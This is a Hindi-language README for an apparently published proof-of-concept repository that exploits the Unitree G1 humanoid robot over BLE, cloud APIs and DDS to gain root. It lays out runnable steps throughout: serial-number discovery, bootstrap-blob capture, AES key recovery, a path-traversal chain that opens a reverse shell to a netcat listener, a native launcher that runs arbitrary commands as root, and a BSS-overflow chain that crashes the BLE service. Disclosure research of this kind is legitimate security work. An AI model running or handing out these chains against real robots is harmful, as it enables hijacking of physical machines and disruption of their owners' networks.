
Unitree G1 RCE PoC और स्क्रिप्ट्स (CVE-2026-76639 / CVE-2026-76640) तकनीकी विवरण boschko.ca/g1-ble-rce/ पर
Unitree G1 RCE PoC और स्क्रिप्ट्स (CVE-2026-76639 / CVE-2026-76640) के तकनीकी विवरण boschko.ca/g1-ble-rce/ पर उपलब्ध हैं
इस रिपॉज़िटरी का उपयोग केवल उन रोबोट, खातों और नेटवर्क के साथ करें जिनका परीक्षण करने के लिए आप अधिकृत हैं। सक्रिय चेन रोबोट के WiFi कॉन्फ़िगरेशन को बदल सकती हैं, सेवाओं को रोक या पुनः आरंभ कर सकती हैं, btgatt-server को क्रैश कर सकती हैं, और root के रूप में कमांड निष्पादित कर सकती हैं।
| पथ | सामग्री |
|---|---|
ble-scanning | BLE डिस्कवरी, अनपेयर्ड GATT एन्यूमरेशन, सीरियल-नंबर डिस्कवरी, और एन्क्रिप्टेड बूटस्ट्रैप-ब्लॉब कैप्चर |
cloud-oracle | ऐतिहासिक /device/bindExtData कुंजी-पुनर्प्राप्ति प्रवाह का पुनरुत्पादन |
chatgo-bashrunner-rce | WebRTC-रैप्ड DDS पाथ-ट्रैवर्सल और bashrunner कमांड-निष्पादन चेन |
pure-dds-rce | नेटिव Cyclone DDS के साथ सीधे कार्यान्वित वही DDS सेवा चेन |
ble-full-chain-rce | सक्रिय BLE-से-root चेन: बूटस्ट्रैप, क्लाउड कुंजी पुनर्प्राप्ति, WiFi प्रोविज़निंग, PIE डिस्क्लोज़र, और BSS ओवरफ़्लो |
scanning-tools | शोध के दौरान उपयोग किए गए निम्न-स्तरीय BLE, DDS, WebRTC, और सेवा-एन्यूमरेशन उपयोगिताएँ |
ble-bss-overflow.html | 1,050-बाइट btgatt-server BSS ओवरफ़्लो का इंटरैक्टिव वॉकथ्रू |
0xF1 और 0xF2 जैसे मान BLE वायर-प्रोटोकॉल ऑपकोड हैं। ये फ़ाइंडिंग नंबर नहीं हैं।
नाम शिप्ड कंपोनेंट्स के अनुरूप रखे गए हैं: btgatt-server कमज़ोर BLE प्रोसेस है, जबकि chat_go और bashrunner Unitree सेवा/मॉड्यूल नाम हैं। इस रिपॉज़िटरी में नेटिव प्रूफ़-ऑफ़-कॉन्सेप्ट एक्ज़ीक्यूटेबल का नाम loco_rce है।
Python 3.11 या नया अनुशंसित है।
नीचे दिए गए कमांड उदाहरण रिपॉज़िटरी रूट से शुरू होते हैं। प्रॉम्प्टेड शेल-वेरिएबल उदाहरण Bash सिंटैक्स का उपयोग करते हैं।
git clone <repository-url>
cd githubunitreepoc
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
BLE पहुँच होस्ट प्लेटफ़ॉर्म पर निर्भर करती है। macOS पर, Bleak द्वारा प्रिंट किए गए पते CoreBluetooth UUIDs होते हैं, न कि ओवर-द-एयर MAC पते।
इन सहायकों के लिए भौतिक BLE निकटता आवश्यक है, लेकिन किसी Unitree खाते, AES कुंजी, या पूर्व पेयरिंग की आवश्यकता नहीं है।
G1 की उजागर GATT सेवाओं और विशेषता अनुमतियों की गणना करें:
python3 ble-scanning/01_ble_gatt_enum.py
रोबोट सीरियल नंबर पुनर्प्राप्त करें:
python3 ble-scanning/discover_sn.py --timeout 30
discover_sn.py पहले BLE निर्माता डेटा की जाँच करता है। यदि विज्ञापन में सीरियल नंबर नहीं है, तो यह कनेक्ट होता है और क्लीयरटेक्स्ट 0xF1 अनुरोध का प्रयास करता है। उस कनेक्टेड फ़ॉलबैक को अक्षम करने के लिए --passive-only जोड़ें।
RSA-एन्क्रिप्टेड 0xF2 बूटस्ट्रैप ब्लॉब को कैप्चर करें और इसे क्लाउड-रिकवरी चरण के लिए सहेजें:
python3 ble-scanning/02_ble_bootstrap.py \
--output ble-scanning/bootstrap-blob.txt
यहाँ विशिष्ट आउटपुट जानबूझकर संक्षिप्त किया गया है:
Scanning for a Unitree G1 (10s)...
Found <robot-name> at <BLE-address> (<RSSI> dBm)
Connecting to <BLE-address>...
Sending opcode 0xF2 (0055543235f2fe)
Received 4 notifications
Encrypted bootstrap blob (344 Base64 characters):
<encrypted-blob>
Saved to ble-scanning/bootstrap-blob.txt
यह blob सिफरटेक्स्ट है, सादा AES कुंजी नहीं।
cloud-oracle/03_cloud_oracle.py ऐप के ऐतिहासिक कुंजी-पुनर्प्राप्ति प्रवाह को पुनः उत्पन्न करता है:
GET /system/pubKey से क्लाउड RSA सार्वजनिक कुंजी प्राप्त करें।POST /device/bindExtData पर सबमिट करें।वर्तमान सर्वर रोबोट स्वामित्व लागू कर सकते हैं। लक्ष्य रोबोट के लिए अधिकृत खाते का उपयोग करें।
हेल्पर चलाएँ और उसके प्रॉम्प्ट का उत्तर दें:
python3 cloud-oracle/03_cloud_oracle.py --show-http --redact
यह खाते, रोबोट सीरियल नंबर और bootstrap-blob पथ के लिए प्रॉम्प्ट करता है। ऊपर बनाई गई फ़ाइल के लिए ble-scanning/bootstrap-blob.txt का उपयोग करें। --redact प्रिंट किए गए curl पुनरुत्पादन में एक्सेस टोकन और पुनर्प्राप्त AES कुंजी को छिपाता है, जिससे आउटपुट साझा करना अधिक सुरक्षित हो जाता है।
पुनर्प्राप्त कुंजी को प्रिंट करने वाले निजी रन के लिए, --redact छोड़ दें:
python3 cloud-oracle/03_cloud_oracle.py
issues या प्रकाशित टर्मिनल ट्रांसक्रिप्ट में access tokens, account credentials, robot keys, serial numbers, या captured blobs को न चिपकाएँ।
chat_go → bashrunner श्रृंखलायह PoC WebRTC data channel के माध्यम से रोबोट की DDS सेवाओं तक पहुँचता है। इसके लिए लक्ष्य रोबोट की AES-128 key और रोबोट के आंतरिक Ethernet नेटवर्क से जुड़ा एक host आवश्यक है।
परीक्षण नेटवर्क के अनुसार host interface को कॉन्फ़िगर करें। PoC डिफ़ॉल्ट रूप से रोबोट 192.168.123.161 और callback address 192.168.123.55 का उपयोग करता है।
पहले टर्मिनल में, एक listener प्रारंभ करें:
nc -lv 4444
दूसरे टर्मिनल में, 32-वर्णों वाली हेक्साडेसिमल AES कुंजी प्रदान करें, बिना उसे रिपॉज़िटरी में कमिट किए, फिर चेन चलाएँ:
read -rsp "Robot AES-128 key: " UNITREE_AES_KEY
echo
export UNITREE_AES_KEY
python3 chatgo-bashrunner-rce/reverse_shell_standalone.py \
<callback-ip> 4444
अपेक्षित आउटपुट:
[*] Callback: <callback-ip>:4444
[*] Connecting via WebRTC...
[+] WebRTC connected + validated
[*] Starting chat_go...
[+] chat_go alive
[*] Uploading payload (path traversal)...
[+] Payload written
[*] Restarting bashrunner...
[+] bashrunner restarted
[*] Executing reverse shell...
[?] code=TIMEOUT — check listener anyway
[*] Done
अंतिम DDS अनुरोध टाइम आउट हो सकता है क्योंकि लक्ष्य सेवा को पुनः आरंभ करने या निष्पादित करने से प्रतिक्रिया पथ बाधित होता है। उस टाइम आउट को अकेले विफलता मानने के बजाय लिसनर से सफलता की पुष्टि करें।
समाप्त होने पर शेल वेरिएबल साफ़ करें:
unset UNITREE_AES_KEY
नेटिव क्लाइंट सीधे DDS डोमेन 0 से जुड़ता है। यह WebRTC या रोबोट की AES कुंजी का उपयोग नहीं करता है।
बंडल किया गया pure-dds-rce/prebuilt_aarch64/loco_rce एक्ज़ीक्यूटेबल और Cyclone DDS रनटाइम Linux AArch64 के लिए हैं। एक्ज़ीक्यूटेबल libddsc.so.11 के विरुद्ध लिंक होता है; रिपॉज़िटरी में वह सिमलिंक और उसका libddsc.so.11.0.1 लक्ष्य शामिल है।
रोबोट के आंतरिक Ethernet नेटवर्क से जुड़े AArch64 Linux होस्ट पर:
लॉन्चर UNITREE_LOCAL_CIDR असाइन करने से पहले UNITREE_IFACE से मौजूदा पते फ्लश करता है। एक समर्पित लैब इंटरफ़ेस का उपयोग करें और इसे चलाने से पहले इंटरफ़ेस नाम की दोबारा जाँच करें।
./pure-dds-rce/run_exploit_c.sh
एक उद्धृत तर्क प्रदान करके एक अलग कमांड चलाएँ:
./pure-dds-rce/run_exploit_c.sh 'id && hostname && uname -a'
लॉन्चर डिफ़ॉल्ट रूप से इंटरफ़ेस eth0, स्थानीय पता 192.168.123.55/24, और रोबोट पता 192.168.123.161 का उपयोग करता है। आवश्यकता पड़ने पर इन्हें ओवरराइड करें:
UNITREE_IFACE=<ethernet-interface> \
UNITREE_LOCAL_CIDR=<host-address>/<prefix> \
UNITREE_ROBOT_IP=<robot-address> \
./pure-dds-rce/run_exploit_c.sh
सोर्स-बिल्ड निर्देशों और अपेक्षित आउटपुट के लिए pure-dds-rce/README.md देखें।
यह रिपॉजिटरी में सबसे विघटनकारी PoC है। यह रोबोट के WiFi कॉन्फ़िगरेशन को बदलता है, इसे दिए गए एक्सेस पॉइंट पर ले जाता है, PIE बेस प्राप्त करता है, BSS ओवरफ़्लो पहुँचाता है, और कॉलबैक लॉन्च करने के बाद जानबूझकर btgatt-server को क्रैश कर देता है।